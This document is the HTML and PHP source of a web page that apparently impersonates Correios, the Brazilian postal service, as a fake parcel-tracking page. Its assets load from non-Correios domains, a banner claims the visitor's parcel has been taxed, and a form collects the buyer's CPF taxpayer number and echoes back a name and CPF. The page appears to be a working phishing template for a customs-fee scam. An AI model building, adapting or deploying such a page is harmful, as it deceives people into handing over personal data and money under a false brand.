<!DOCTYPE html>
<html lang="pt-BR">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100..900;1,100..900&family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap" rel="stylesheet">
  <link rel="stylesheet" href="https://processoalfandegario.com/css/app/bootstrap.css">
  <link rel="stylesheet" href="https://processoalfandegario.com/css/app/app.css">
  <link rel="stylesheet" href="https://processoalfandegario.com/css/pages/yellow.css">
  <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous" />
  <link rel="icon" href="./image/correios-icon.svg" type="image/x-icon">
  <meta name="csrf-token" content="dvu4NSzBICDfs6Jdi55pX8y2TzVbrImPTre9kkxg">
  <title>Correios | Rastreio</title>
  <script type="text/javascript" src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
  <script type="text/javascript">
    // Função para formatar o CPF
    function formatCpf(element) {
      const inputCpf = $('input[name=cpf]');
      $(element).val(cpf($(element).val()));
    }

    function cpf(cpf) {
      cpf = cpf.replace(/\D/g, "");
      cpf = cpf.substring(0, 11);
      cpf = cpf.replace(/(\d{3})(\d)/, "$1.$2");
      cpf = cpf.replace(/(\d{3})(\d)/, "$1.$2");
      cpf = cpf.replace(/(\d{3})(\d{1,2})$/, "$1-$2");

      return cpf;
    }
  </script>
</head>

<body>
  <header class="w-100 font-size-16 font-weight-400 text-blue">
    <div class="w-100 bg-grey px-3 px-lg-3 py-1 border-bottom border-white">
      <span>Acessibilidade</span>
      <i class="fas fa-caret-down ml-1"></i>
    </div>

    <nav class="w-100 d-flex align-items-center bg-grey-2 px-3 px-lg-3 py-1 border-bottom border-warning" style="height:48px">
      <div class="menu-toggle" id="menu-toggle" style="width:50px">
        <div class="bar"></div>
        <div class="bar"></div>
        <div class="bar"></div>
      </div>

      <div class="ml-0 ml-lg-1 d-flex justify-content-center" style="width:100%">
        <a href="" class="py-2">
          <img src="https://processoalfandegario.com/image/yellow/correios.png" alt="" height="25">
        </a>
      </div>

      <div class="ml-4 d-none d-lg-block" style="width:150px">
        <a href="" class="py-1 text-blue-dark border-left border-secondary px-3 text-decoration-none">
          <img src="https://processoalfandegario.com/image/yellow/entrar.svg" alt="Correios" width="31">
          <span class="ml-1">Entrar</span>
        </a>
      </div>
    </nav>
  </header>

  <main>
    <nav class="d-flex align-items-center flex-wrap mt-4 px-2 font-weight-400 w-95 max-w-1000" style="margin: 0 auto;">
      <span class="text-blue mr-2">Portal Correios</span>
      <i class="fal fa-angle-right mr-2"></i>
      <span class="text-blue mr-2">Rastreamento</span>
      <i class="fal fa-angle-right mr-2"></i>
    </nav>

    <h1 class="mt-4 px-2 font-size-24 text-blue-dark font-weight-700 w-95 max-w-1000 d-flex justify-content-between" style="margin:0 auto;">
      Rastreamento
    </h1>

    <section class="mt-3 p-4 bg-grey-3 w-95 max-w-1000" style="margin:0 auto;">
        <h5 class="text-danger text-center font-weight-700 mb-4">
            <i class="far fa-exclamation-triangle"></i> SUA ENCOMENDA FOI TRIBUTADA!
        </h5>

        <!-- Formulário -->
        <form action="" method="POST">
            <span>Deseja acompanhar seu objeto?</span><br />
            <span>Digite o CPF do comprador.</span>

            <input type="hidden" name="_token" value="dvu4NSzBICDfs6Jdi55pX8y2TzVbrImPTre9kkxg" autocomplete="off">
            <div class="form-group mt-1">
                <!-- Garantir que a variável $cpf seja definida antes de ser usada -->
                <input type="text" name="cpf" class="form-control" value="<?php echo isset($cpf) ? htmlspecialchars($cpf) : ''; ?>" onkeyup="formatCpf(this)" placeholder="000.000.000-00">
            </div>

            <div class="form-group mt-1 d-flex justify-content-center">
                <button class="btn btn-primary">Consultar</button>
            </div>

            <!-- Exibir erro se houver algum -->
            <?php if (isset($erro) && $erro): ?>
                <div class="alert alert-danger mt-3">
                    <?php echo htmlspecialchars($erro); ?>
                </div>
            <?php endif; ?>

        </form>

        <?php if (isset($rastreio) && $rastreio): ?>
            <h2 class="mt-3">Informações de Rastreamento</h2>
            <p><strong>Nome:</strong> <?php echo htmlspecialchars($rastreio['nome']); ?></p>
            <p><strong>CPF:</strong> <?php echo htmlspecialchars($rastreio['cpf']); ?></p>
        <?php endif; ?>
    </section>

    <section class="my-4 w-95 max-w-1000" style="margin:0 auto;">
      <div>
        <img src="https://rastreioencomenda.co/image/yellow/banner-1.jpg" alt="" class="w-100">
      </div>
    </section>
  </main>

  <footer class="d-flex flex-wrap px-5 py-4 bg-yellow text-blue-dark">
    <div class="w-30 min-w-300 px-0 px-lg-3 mb-3">
      <h5 class="font-weight-700 mb-4">Fale Conosco</h5>
      <ul>
        <li class="mb-2 font-size-14">
          <i class="fas fa-desktop"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span class="text-wrap">Registro de Manifestações</span>
          </a>
        </li>

        <li class="mb-2 font-size-14">
          <i class="far fa-question-square mr-1"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span class="text-wrap">Central de Atendimento</span>
          </a>
        </li>

        <li class="mb-2 font-size-14">
          <i class="far fa-briefcase"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span class="text-wrap">Solucões para o seu negócio</span>
          </a>
        </li>
        <li class="mb-2 font-size-14">
          <i class="far fa-headset"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span class="text-wrap">Suporte ao cliente com contrato</span>
          </a>
        </li>
        <li class="mb-2 font-size-14">
          <i class="far fa-comment-alt-dots"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span>Ouvidoria</span>
          </a>
        </li>

        <li class="mb-2 font-size-14">
          <i class="far fa-user-headset"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span>Denúncia</span>
          </a>
        </li>
      </ul>
    </div>

    <div class="w-30 min-w-300 px-0 px-lg-3 mb-3">
      <h5 class="font-weight-700 mb-4">Sobre os Correios</h5>
      <ul>
        <li class="mb-2 font-size-14">
          <i class="far fa-address-card"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span>Identidade colaborativa</span>
          </a>
        </li>

        <li class="mb-2 font-size-14">
          <i class="far fa-user-graduate"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span>Educação e cultura</span>
          </a>
        </li>

        <li class="mb-2 font-size-14">
          <i class="far fa-book-alt"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span>Código de ética</span>
          </a>
        </li>

        <li class="mb-2 font-size-14">
          <i class="far fa-file-search"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span class="text-wrap">Transparência e prestação de contas</span>
          </a>
        </li>

        <li class="mb-2 font-size-14">
          <i class="far fa-comment-alt-dots"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span class="text-wrap">Política de privacidade e Notas legais</span>
          </a>
        </li>
      </ul>
    </div>

    <div class="w-30 min-w-300 px-0 px-lg-3 mb-3">
      <h5 class="font-weight-700 mb-4">Outros Sites</h5>
      <ul>
        <li class="mb-2 font-size-14">
          <i class="far fa-shopping-cart"></i>
          <a href="" class="ml-2 text-blue-dark text-hover-orange">
            <span class="text-wrap">Loja online dos correios</span>
          </a>
        </li>
      </ul>
    </div>

    <div class="d-flex justify-content-center w-100 px-3 mb-3 text-dark font-size-14">
      <span>© Copyright 2024 Correios</span>
    </div>
  </footer>

  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
</body>

</html>